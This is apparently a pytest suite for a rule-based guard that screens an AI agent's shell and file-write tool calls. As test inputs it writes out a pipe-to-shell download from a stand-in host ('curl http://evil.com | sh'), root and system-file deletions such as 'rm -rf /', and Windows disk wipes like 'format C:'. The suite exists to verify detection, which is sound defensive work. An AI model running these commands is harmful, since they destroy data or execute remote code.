# -*- coding: utf-8 -*-
"""Tests for qwenpaw.security.tool_guard.guardians.rule_guardian."""
# pylint: disable=redefined-outer-name,unused-argument
from __future__ import annotations

import platform
from pathlib import Path
from unittest.mock import patch

import pytest
import yaml

from qwenpaw.security.tool_guard.guardians.rule_guardian import (
    GuardRule,
    RuleBasedToolGuardian,
    _check_rm_targets_outside_workspace,
    _extract_rm_targets,
    _is_outside_workspace,
    _normalize_path,
    load_rules_from_directory,
    load_rules_from_yaml,
)
from qwenpaw.security.tool_guard.models import (
    GuardSeverity,
    GuardThreatCategory,
)


# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------


@pytest.fixture
def mock_config_rules():
    """Patch _load_config_rules to return empty rules and no disabled IDs."""
    with patch(
        "qwenpaw.security.tool_guard.guardians.rule_guardian"
        "._load_config_rules",
        return_value=([], set()),
    ):
        yield


@pytest.fixture
def mock_workspace_root(tmp_path):
    """Patch _get_workspace_root to return tmp_path."""
    with patch(
        "qwenpaw.security.tool_guard.guardians.rule_guardian"
        "._get_workspace_root",
        return_value=tmp_path,
    ):
        yield tmp_path


@pytest.fixture
def sample_rule_data():
    """Minimal valid rule data dict."""
    return {
        "id": "TEST_001",
        "category": "command_injection",
        "severity": "HIGH",
        "patterns": [r"rm\s+-rf"],
        "description": "Dangerous rm -rf command",
        "remediation": "Avoid destructive rm commands",
    }


@pytest.fixture
def full_rule_data():
    """Full rule data with all optional fields."""
    return {
        "id": "TEST_002",
        "category": "credential_exposure",
        "severity": "CRITICAL",
        "patterns": [r"password\s*=\s*['\"][^'\"]+['\"]"],
        "exclude_patterns": [r"password\s*=\s*['\"]test['\"]"],
        "tool": "write_file",
        "params": ["content"],
        "description": "Hardcoded secret detected",
        "remediation": "Use environment variables",
    }


@pytest.fixture
def rules_yaml(tmp_path, sample_rule_data, full_rule_data):
    """Create a temporary YAML rules file."""
    rules_file = tmp_path / "test_rules.yaml"
    rules_file.write_text(
        yaml.dump([sample_rule_data, full_rule_data]),
    )
    return rules_file


@pytest.fixture
def rule(sample_rule_data):
    """Create a GuardRule from sample data."""
    return GuardRule(sample_rule_data)


@pytest.fixture
def full_rule(full_rule_data):
    """Create a GuardRule from full data."""
    return GuardRule(full_rule_data)


# ---------------------------------------------------------------------------
# GuardRule.__init__
# ---------------------------------------------------------------------------


class TestGuardRuleInit:
    """Tests for GuardRule.__init__."""

    def test_minimal_rule(self, sample_rule_data):
        """Minimal rule should initialize correctly."""
        r = GuardRule(sample_rule_data)
        assert r.id == "TEST_001"
        assert r.category == GuardThreatCategory.COMMAND_INJECTION
        assert r.severity == GuardSeverity.HIGH
        assert r.patterns == [r"rm\s+-rf"]
        assert not r.exclude_patterns
        assert not r.tools
        assert not r.params
        assert r.description == "Dangerous rm -rf command"
        assert r.remediation == "Avoid destructive rm commands"

    def test_full_rule(self, full_rule_data):
        """Full rule with all fields should initialize correctly."""
        r = GuardRule(full_rule_data)
        assert r.id == "TEST_002"
        assert r.category == GuardThreatCategory.CREDENTIAL_EXPOSURE
        assert r.severity == GuardSeverity.CRITICAL
        assert r.tools == ["write_file"]
        assert r.params == ["content"]
        assert len(r.compiled_patterns) == 1
        assert len(r.compiled_exclude_patterns) == 1

    def test_tool_as_string(self):
        """Tool can be a single string."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
            "tool": "execute_shell_command",
        }
        r = GuardRule(data)
        assert r.tools == ["execute_shell_command"]

    def test_tool_as_list(self):
        """Tool can be a list."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
            "tools": ["execute_shell_command", "write_file"],
        }
        r = GuardRule(data)
        assert r.tools == ["execute_shell_command", "write_file"]

    def test_empty_tool_string_means_all(self):
        """Empty tool string means match all tools."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
            "tool": "",
        }
        r = GuardRule(data)
        assert not r.tools

    def test_params_as_string(self):
        """Params can be a single string."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
            "params": "command",
        }
        r = GuardRule(data)
        assert r.params == ["command"]

    def test_params_as_list(self):
        """Params can be a list."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
            "params": ["command", "args"],
        }
        r = GuardRule(data)
        assert r.params == ["command", "args"]

    def test_missing_id_raises(self):
        """Missing id should raise KeyError."""
        data = {
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
        }
        with pytest.raises(KeyError):
            GuardRule(data)

    def test_invalid_category_raises(self):
        """Invalid category should raise ValueError."""
        data = {
            "id": "R1",
            "category": "nonexistent",
            "severity": "LOW",
            "patterns": [r"test"],
        }
        with pytest.raises(ValueError):
            GuardRule(data)

    def test_invalid_severity_raises(self):
        """Invalid severity should raise ValueError."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "SUPER_HIGH",
            "patterns": [r"test"],
        }
        with pytest.raises(ValueError):
            GuardRule(data)

    def test_bad_regex_skipped(self):
        """Bad regex patterns should be skipped with a warning."""
        data = {
            "id": "BAD_RE",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"valid\d+", r"[invalid", r"also_valid\s+"],
        }
        r = GuardRule(data)
        assert len(r.compiled_patterns) == 2
        assert len(r.patterns) == 3

    def test_bad_exclude_regex_skipped(self):
        """Bad exclude patterns should be skipped."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "LOW",
            "patterns": [r"test"],
            "exclude_patterns": [r"valid", r"[broken"],
        }
        r = GuardRule(data)
        assert len(r.compiled_exclude_patterns) == 1


# ---------------------------------------------------------------------------
# GuardRule.applies_to_tool / applies_to_param
# ---------------------------------------------------------------------------


class TestGuardRuleApplies:
    """Tests for GuardRule.applies_to_tool and applies_to_param."""

    def test_applies_to_all_when_no_tools(self, rule):
        """Rule with no tools should match all."""
        assert rule.applies_to_tool("anything") is True
        assert rule.applies_to_tool("execute_shell_command") is True

    def test_applies_to_specific_tool(self, full_rule):
        """Rule with tool should only match that tool."""
        assert full_rule.applies_to_tool("write_file") is True
        assert full_rule.applies_to_tool("read_file") is False

    def test_applies_to_all_when_no_params(self, rule):
        """Rule with no params should match all."""
        assert rule.applies_to_param("command") is True
        assert rule.applies_to_param("content") is True

    def test_applies_to_specific_param(self, full_rule):
        """Rule with params should only match those params."""
        assert full_rule.applies_to_param("content") is True
        assert full_rule.applies_to_param("command") is False


# ---------------------------------------------------------------------------
# GuardRule.match
# ---------------------------------------------------------------------------


class TestGuardRuleMatch:
    """Tests for GuardRule.match."""

    def test_matching_content(self, rule):
        """Should find matches in matching content."""
        m, pattern = rule.match("rm -rf /")
        assert m is not None
        assert pattern == r"rm\s+-rf"

    def test_no_match(self, rule):
        """Should return (None, None) for non-matching content."""
        m, pattern = rule.match("echo hello")
        assert m is None
        assert pattern is None

    def test_exclude_pattern_filters(self, full_rule):
        """Exclude patterns should filter out matches."""
        m, _ = full_rule.match("password = 'test'")
        assert m is None

    def test_non_excluded_match(self, full_rule):
        """Non-excluded matches should still be found."""
        m, pattern = full_rule.match("password = 'real_secret_value'")
        assert m is not None
        assert pattern is not None

    def test_multiple_patterns_first_match(self):
        """Should return the first matching pattern."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "patterns": [r"rm\s+-rf", r"curl.*\|.*sh"],
        }
        r = GuardRule(data)
        m, pattern = r.match("rm -rf /tmp")
        assert m is not None
        assert pattern == r"rm\s+-rf"

    def test_case_insensitive(self):
        """Patterns should match case-insensitively."""
        data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "patterns": [r"RM\s+-RF"],
        }
        r = GuardRule(data)
        m, _ = r.match("rm -rf /")
        assert m is not None


# ---------------------------------------------------------------------------
# _extract_rm_targets
# ---------------------------------------------------------------------------


class TestExtractRmTargets:
    """Tests for _extract_rm_targets."""

    def test_simple_rm(self):
        """Simple rm command should extract targets."""
        assert _extract_rm_targets("rm file.txt") == ["file.txt"]

    @pytest.mark.skipif(
        platform.system() == "Windows",
        reason="Unix-style rm path extraction on Windows",
    )
    def test_rm_with_flags(self):
        """Flags should be skipped, targets extracted."""
        result = _extract_rm_targets("rm -rf /tmp/dir")
        assert "/tmp/dir" in result

    def test_rm_multiple_files(self):
        """Multiple file targets."""
        result = _extract_rm_targets("rm -f a.txt b.txt c.txt")
        assert "a.txt" in result
        assert "b.txt" in result
        assert "c.txt" in result

    def test_no_rm_command(self):
        """Non-rm command should return empty list."""
        assert not _extract_rm_targets("echo hello")

    def test_comment_line(self):
        """Comment lines should be skipped."""
        assert not _extract_rm_targets("# rm something")

    @pytest.mark.skipif(
        platform.system() == "Windows",
        reason="Unix-style rm path extraction on Windows",
    )
    def test_rm_with_pipe(self):
        """rm after pipe separator."""
        result = _extract_rm_targets("echo hello | rm -f /tmp/file")
        assert "/tmp/file" in result

    @pytest.mark.skipif(
        platform.system() == "Windows",
        reason="Unix-style rm path extraction on Windows",
    )
    def test_rm_with_semicolon(self):
        """rm after semicolon separator."""
        result = _extract_rm_targets("echo hello ; rm -f /tmp/file")
        assert "/tmp/file" in result

    @pytest.mark.skipif(
        platform.system() == "Windows",
        reason="Unix-style rm path extraction on Windows",
    )
    def test_rm_with_ampersand(self):
        """rm after ampersand separator."""
        result = _extract_rm_targets("echo hello & rm -f /tmp/file")
        assert "/tmp/file" in result

    def test_escape_backslash_rm(self):
        """\\rm should be detected."""
        result = _extract_rm_targets("\\rm file.txt")
        assert "file.txt" in result

    def test_escape_bin_rm(self):
        """/bin/rm should be detected."""
        result = _extract_rm_targets("/bin/rm file.txt")
        assert "file.txt" in result

    def test_escape_command_rm(self):
        """command rm should be detected."""
        result = _extract_rm_targets("command rm file.txt")
        assert "file.txt" in result

    def test_empty_command(self):
        """Empty command should return empty list."""
        assert not _extract_rm_targets("")

    def test_rm_no_targets(self):
        """rm with only flags should return empty list."""
        result = _extract_rm_targets("rm -rf")
        assert not result

    def test_del_command(self):
        """Windows del command should be detected."""
        result = _extract_rm_targets("del file.txt")
        assert "file.txt" in result


# ---------------------------------------------------------------------------
# _normalize_path
# ---------------------------------------------------------------------------


class TestNormalizePath:
    """Tests for _normalize_path."""

    def test_absolute_path(self, mock_workspace_root):
        """Absolute path should be resolved."""
        result = _normalize_path("/tmp/file.txt")
        assert result.is_absolute()

    def test_relative_path(self, mock_workspace_root):
        """Relative path should be resolved against workspace."""
        result = _normalize_path("file.txt")
        assert result.is_absolute()

    def test_tilde_expansion(self, mock_workspace_root):
        """Tilde should be expanded."""
        result = _normalize_path("~/file.txt")
        assert "~" not in str(result)


# ---------------------------------------------------------------------------
# _is_outside_workspace
# ---------------------------------------------------------------------------


class TestIsOutsideWorkspace:
    """Tests for _is_outside_workspace."""

    def test_inside_workspace(self, mock_workspace_root):
        """Path inside workspace should return False."""
        inside = mock_workspace_root / "subdir" / "file.txt"
        assert _is_outside_workspace(inside) is False

    def test_outside_workspace(self, mock_workspace_root):
        """Path outside workspace should return True."""
        outside = Path("/etc/passwd")
        assert _is_outside_workspace(outside) is True

    def test_workspace_root_itself(self, mock_workspace_root):
        """Workspace root itself is not outside."""
        assert _is_outside_workspace(mock_workspace_root) is False


# ---------------------------------------------------------------------------
# _check_rm_targets_outside_workspace
# ---------------------------------------------------------------------------


class TestCheckRmTargetsOutsideWorkspace:
    """Tests for _check_rm_targets_outside_workspace."""

    def test_no_rm_command(self, mock_workspace_root):
        """Non-rm command should return (False, [])."""
        has_outside, paths = _check_rm_targets_outside_workspace(
            "echo hello",
        )
        assert has_outside is False
        assert not paths

    def test_rm_inside_workspace(self, mock_workspace_root):
        """rm targeting workspace files should return (False, [])."""
        target = str(mock_workspace_root / "file.txt")
        has_outside, _paths = _check_rm_targets_outside_workspace(
            f"rm {target}",
        )
        assert has_outside is False

    @pytest.mark.skipif(
        platform.system() == "Windows",
        reason="Unix-style rm path extraction on Windows",
    )
    def test_rm_outside_workspace(self, mock_workspace_root):
        """rm targeting outside files should return (True, [...])."""
        has_outside, paths = _check_rm_targets_outside_workspace(
            "rm -rf /etc/passwd",
        )
        assert has_outside is True
        assert len(paths) > 0


# ---------------------------------------------------------------------------
# load_rules_from_yaml
# ---------------------------------------------------------------------------


class TestLoadRulesFromYaml:
    """Tests for load_rules_from_yaml."""

    def test_valid_yaml(self, rules_yaml):
        """Should load rules from a valid YAML file."""
        rules = load_rules_from_yaml(rules_yaml)
        assert len(rules) == 2
        assert rules[0].id == "TEST_001"
        assert rules[1].id == "TEST_002"

    def test_missing_file(self, tmp_path):
        """Should return empty list for missing file."""
        rules = load_rules_from_yaml(tmp_path / "nonexistent.yaml")
        assert not rules

    def test_invalid_yaml_content(self, tmp_path):
        """Should return empty list for non-list YAML."""
        bad_file = tmp_path / "bad.yaml"
        bad_file.write_text("not a list")
        rules = load_rules_from_yaml(bad_file)
        assert not rules

    def test_skip_invalid_rules(self, tmp_path):
        """Should skip rules with missing required fields."""
        yaml_content = yaml.dump(
            [
                {
                    "id": "VALID",
                    "category": "command_injection",
                    "severity": "LOW",
                    "patterns": [r"test"],
                },
                {
                    "id": "INVALID_NO_CATEGORY",
                    "severity": "LOW",
                    "patterns": [r"test"],
                },
            ],
        )
        yaml_file = tmp_path / "mixed.yaml"
        yaml_file.write_text(yaml_content)
        rules = load_rules_from_yaml(yaml_file)
        # The invalid rule (missing category) should be skipped
        assert len(rules) >= 1
        assert rules[0].id == "VALID"

    def test_non_dict_items_skipped(self, tmp_path):
        """Non-dict items in YAML list should be skipped."""
        yaml_file = tmp_path / "nondict.yaml"
        yaml_file.write_text("- 42\n- 'string'\n")
        rules = load_rules_from_yaml(yaml_file)
        assert not rules


# ---------------------------------------------------------------------------
# load_rules_from_directory
# ---------------------------------------------------------------------------


class TestLoadRulesFromDirectory:
    """Tests for load_rules_from_directory."""

    def test_load_from_directory(self, tmp_path, sample_rule_data):
        """Should load all YAML files from a directory."""
        (tmp_path / "rules1.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        (tmp_path / "rules2.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        rules = load_rules_from_directory(tmp_path)
        assert len(rules) == 2

    def test_load_specific_rule_files(
        self,
        tmp_path,
        sample_rule_data,
        full_rule_data,
    ):
        """Should load only specified rule files."""
        (tmp_path / "wanted.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        (tmp_path / "unwanted.yaml").write_text(
            yaml.dump([full_rule_data]),
        )
        rules = load_rules_from_directory(
            tmp_path,
            rule_files=["wanted.yaml"],
        )
        assert len(rules) == 1
        assert rules[0].id == "TEST_001"

    def test_nonexistent_directory(self, tmp_path):
        """Should return empty list for nonexistent directory."""
        rules = load_rules_from_directory(tmp_path / "nonexistent")
        assert not rules

    def test_missing_rule_file_warns(self, tmp_path, sample_rule_data):
        """Should warn and skip missing rule files."""
        (tmp_path / "existing.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        rules = load_rules_from_directory(
            tmp_path,
            rule_files=["existing.yaml", "missing.yaml"],
        )
        # Should still load the existing file
        assert len(rules) == 1


# ---------------------------------------------------------------------------
# RuleBasedToolGuardian
# ---------------------------------------------------------------------------


class TestRuleBasedToolGuardianInit:
    """Tests for RuleBasedToolGuardian initialization."""

    def test_init_with_default_rules(self, mock_config_rules):
        """Should load default rules."""
        guardian = RuleBasedToolGuardian()
        assert guardian.rule_count > 0
        assert guardian.name == "rule_based_tool_guardian"

    def test_init_with_custom_rules_dir(
        self,
        tmp_path,
        mock_config_rules,
        sample_rule_data,
    ):
        """Should load rules from custom directory."""
        (tmp_path / "custom.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        assert guardian.rule_count >= 1

    def test_init_with_extra_rules(
        self,
        mock_config_rules,
        sample_rule_data,
    ):
        """Should include extra rules."""
        extra = GuardRule(sample_rule_data)
        guardian = RuleBasedToolGuardian(extra_rules=[extra])
        # Extra rules should be added
        found = any(r.id == "TEST_001" for r in guardian.rules)
        assert found

    def test_rules_property_returns_copy(self, mock_config_rules):
        """rules property should return a copy, not the internal list."""
        guardian = RuleBasedToolGuardian()
        rules = guardian.rules
        rules_copy = guardian.rules
        assert rules == rules_copy
        # Modifying the returned list should not affect the guardian
        rules.clear()
        assert guardian.rule_count > 0

    def test_disabled_rules_filtered(
        self,
        tmp_path,
        sample_rule_data,
    ):
        """Disabled rules should be filtered out."""
        (tmp_path / "rules.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        with patch(
            "qwenpaw.security.tool_guard.guardians.rule_guardian"
            "._load_config_rules",
            return_value=([], {"TEST_001"}),
        ):
            guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
            rule_ids = {r.id for r in guardian.rules}
            assert "TEST_001" not in rule_ids


class TestRuleBasedToolGuardianGuard:
    """Tests for RuleBasedToolGuardian.guard."""

    def test_guard_matching_rule(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """guard should return findings for matching content."""
        rule_data = {
            "id": "SHELL_PIPE",
            "category": "command_injection",
            "severity": "HIGH",
            "tool": "execute_shell_command",
            "params": ["command"],
            "patterns": [r"curl.*\|.*sh"],
            "description": "Pipe to shell",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "curl http://evil.com | sh"},
        )
        assert len(findings) >= 1
        assert findings[0].rule_id == "SHELL_PIPE"
        assert findings[0].severity == GuardSeverity.HIGH

    def test_guard_no_match(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """guard should return empty list for safe content."""
        rule_data = {
            "id": "SHELL_PIPE",
            "category": "command_injection",
            "severity": "HIGH",
            "tool": "execute_shell_command",
            "params": ["command"],
            "patterns": [r"curl.*\|.*sh"],
            "description": "Pipe to shell",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "echo hello"},
        )
        assert not findings

    def test_guard_tool_filter(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """Rules with tool filter should only fire for that tool."""
        rule_data = {
            "id": "WRITE_SECRET",
            "category": "credential_exposure",
            "severity": "CRITICAL",
            "tool": "write_file",
            "params": ["content"],
            "patterns": [r"password\s*=\s*['\"][^'\"]+['\"]"],
            "description": "Secret in write",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        # Positive control: rule MUST fire for the configured tool so we know
        # the rule actually loaded (a silently-rejected rule would also make
        # the negative assertion below pass vacuously).
        assert guardian.guard(
            "write_file",
            {"content": "password = 'secret123'"},
        )
        # Should NOT fire for read_file
        findings = guardian.guard(
            "read_file",
            {"content": "password = 'secret123'"},
        )
        assert not findings

    def test_guard_skips_none_values(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """guard should skip None parameter values."""
        rule_data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "patterns": [r"rm\s+-rf"],
            "description": "Dangerous rm",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": None},
        )
        assert not findings

    def test_guard_skips_empty_values(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """guard should skip empty string parameter values."""
        rule_data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "patterns": [r"rm\s+-rf"],
            "description": "Dangerous rm",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": ""},
        )
        assert not findings

    def test_guard_unknown_tool_no_rules(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """guard returns empty for unknown tool with
        no matching rules."""
        rule_data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "tool": "execute_shell_command",
            "patterns": [r"rm\s+-rf"],
            "description": "Dangerous rm",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "unknown_tool",
            {"data": "rm -rf /"},
        )
        assert not findings

    def test_guard_converts_non_string_values(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """guard should convert non-string values to string for scanning."""
        rule_data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "patterns": [r"rm"],
            "description": "Dangerous rm",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": 42},
        )
        # str(42) = "42", no match for "rm"
        assert not findings

    def test_guard_finding_has_snippet(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """Findings should include a context snippet."""
        rule_data = {
            "id": "R1",
            "category": "command_injection",
            "severity": "HIGH",
            "tool": "execute_shell_command",
            "params": ["command"],
            "patterns": [r"rm\s+-rf"],
            "description": "Dangerous rm",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "rm -rf /tmp"},
        )
        # /tmp is not a catastrophic root wipe — only the YAML rule fires.
        assert len(findings) == 1
        assert findings[0].rule_id == "R1"
        assert findings[0].snippet is not None
        assert "rm" in findings[0].snippet

    @pytest.mark.skipif(
        platform.system() == "Windows",
        reason="Unix-style rm path extraction on Windows",
    )
    def test_guard_rm_outside_workspace(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """RM rule with outside-workspace target adds custom_hint."""
        rule_data = {
            "id": "TOOL_CMD_DANGEROUS_RM",
            "category": "command_injection",
            "severity": "CRITICAL",
            "tool": "execute_shell_command",
            "params": ["command"],
            "patterns": [r"rm\s+-rf"],
            "description": "Dangerous rm command",
            "remediation": "Verify before deleting",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "rm -rf /etc/passwd"},
        )
        yaml_findings = [
            f for f in findings if f.rule_id == "TOOL_CMD_DANGEROUS_RM"
        ]
        assert len(yaml_findings) == 1
        # Should have custom_hint metadata for outside workspace
        assert "custom_hint" in yaml_findings[0].metadata
        assert (
            yaml_findings[0].metadata["custom_hint"]["type"]
            == "outside_workspace"
        )

    def test_guard_rm_inside_workspace(
        self,
        tmp_path,
        mock_config_rules,
        mock_workspace_root,
    ):
        """RM rule with inside-workspace target adds general reminder."""
        target = str(mock_workspace_root / "file.txt")
        rule_data = {
            "id": "TOOL_CMD_DANGEROUS_RM",
            "category": "command_injection",
            "severity": "CRITICAL",
            "tool": "execute_shell_command",
            "params": ["command"],
            "patterns": [r"rm\s+-rf"],
            "description": "Dangerous rm command",
            "remediation": "Verify before deleting",
        }
        (tmp_path / "rules.yaml").write_text(yaml.dump([rule_data]))
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": f"rm -rf {target}"},
        )
        # Workspace absolute paths must not trip the shared catastrophic rule.
        assert not any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND" for f in findings
        )
        yaml_findings = [
            f for f in findings if f.rule_id == "TOOL_CMD_DANGEROUS_RM"
        ]
        assert len(yaml_findings) == 1
        assert "custom_hint" in yaml_findings[0].metadata
        assert (
            yaml_findings[0].metadata["custom_hint"]["type"]
            == "general_reminder"
        )


class TestSharedSafetyChecksIntegration:
    """SharedSafetyToolGuardian applies shared safety_checks primitives."""

    def test_is_outside_workspace_delegates_to_safety_checks(
        self,
        mock_workspace_root,
    ):
        """_is_outside_workspace uses is_path_outside_boundary."""
        with patch(
            "qwenpaw.security.tool_guard.guardians.rule_guardian"
            ".is_path_outside_boundary",
            return_value=True,
        ) as mock_boundary:
            result = _is_outside_workspace(
                mock_workspace_root / "evil.txt",
            )
        assert result is True
        mock_boundary.assert_called_once()
        args, kwargs = mock_boundary.call_args
        assert Path(args[1]).resolve() == mock_workspace_root.resolve()
        assert kwargs.get("cwd_is_resolved") is True
        assert kwargs.get("path_is_resolved") is True

    def test_guard_emits_shared_destructive_finding(self):
        """Catastrophic hits produce SAFETY_CHECKS_DESTRUCTIVE_COMMAND."""
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        guardian = SharedSafetyToolGuardian()
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "rm -rf /"},
        )
        assert any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND"
            and f.severity == GuardSeverity.CRITICAL
            for f in findings
        )

    def test_guard_emits_system_power_finding_not_catastrophic(self):
        """reboot is surfaced for approval, not as catastrophic auto-deny."""
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        guardian = SharedSafetyToolGuardian()
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "reboot"},
        )
        assert any(f.rule_id == "SAFETY_CHECKS_SYSTEM_POWER" for f in findings)
        assert not any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND" for f in findings
        )

    def test_always_run_is_enabled(self):
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        assert SharedSafetyToolGuardian().always_run is True

    def test_guard_skips_shared_check_for_tmp_path(self):
        """rm -rf /tmp must not hit the shared catastrophic rule."""
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        guardian = SharedSafetyToolGuardian()
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "rm -rf /tmp"},
        )
        assert not any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND" for f in findings
        )

    @pytest.mark.parametrize(
        "command",
        [
            "Remove-Item -Recurse -Force C:\\",
            "rm -Recurse -Force C:\\",
            "del /s /q C:\\*",
            "rd /s /q C:\\",
            "rmdir /s /q C:\\",
            "format C:",
        ],
    )
    def test_guard_emits_shared_finding_for_windows_catastrophic(
        self,
        command: str,
    ):
        """Windows catastrophic commands hit the shared CRITICAL finding."""
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        guardian = SharedSafetyToolGuardian()
        findings = guardian.guard(
            "execute_shell_command",
            {"command": command},
        )
        assert any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND"
            and f.severity == GuardSeverity.CRITICAL
            for f in findings
        )

    def test_guard_skips_shared_check_for_safe_command(self):
        """Safe shell commands do not get the shared destructive finding."""
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        guardian = SharedSafetyToolGuardian()
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "echo hello"},
        )
        assert not any(
            f.rule_id
            in {
                "SAFETY_CHECKS_DESTRUCTIVE_COMMAND",
                "SAFETY_CHECKS_SYSTEM_POWER",
            }
            for f in findings
        )

    def test_guard_skips_shared_check_for_non_shell_tools(self):
        """Non-shell tools are not scanned by the shared hard-check."""
        from qwenpaw.security.tool_guard.guardians.rule_guardian import (
            SharedSafetyToolGuardian,
        )

        guardian = SharedSafetyToolGuardian()
        findings = guardian.guard(
            "write_file",
            {"path": "/tmp/x", "content": "rm -rf /"},
        )
        assert not any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND" for f in findings
        )

    def test_rule_based_guardian_no_longer_emits_shared_finding(
        self,
        tmp_path,
        mock_config_rules,
    ):
        """YAML guardian must not duplicate shared safety findings."""
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        findings = guardian.guard(
            "execute_shell_command",
            {"command": "rm -rf /"},
        )
        assert not any(
            f.rule_id == "SAFETY_CHECKS_DESTRUCTIVE_COMMAND" for f in findings
        )


class TestRuleBasedToolGuardianReload:
    """Tests for RuleBasedToolGuardian.reload."""

    def test_reload(
        self,
        tmp_path,
        mock_config_rules,
        sample_rule_data,
    ):
        """reload should re-read rules from disk."""
        (tmp_path / "rules.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        guardian = RuleBasedToolGuardian(rules_dir=tmp_path)
        initial_count = guardian.rule_count

        # Add another rule file
        (tmp_path / "extra.yaml").write_text(
            yaml.dump([sample_rule_data]),
        )
        guardian.reload()
        # After reload, the new file should be loaded
        # (custom dir loads all yaml files)
        assert guardian.rule_count >= initial_count
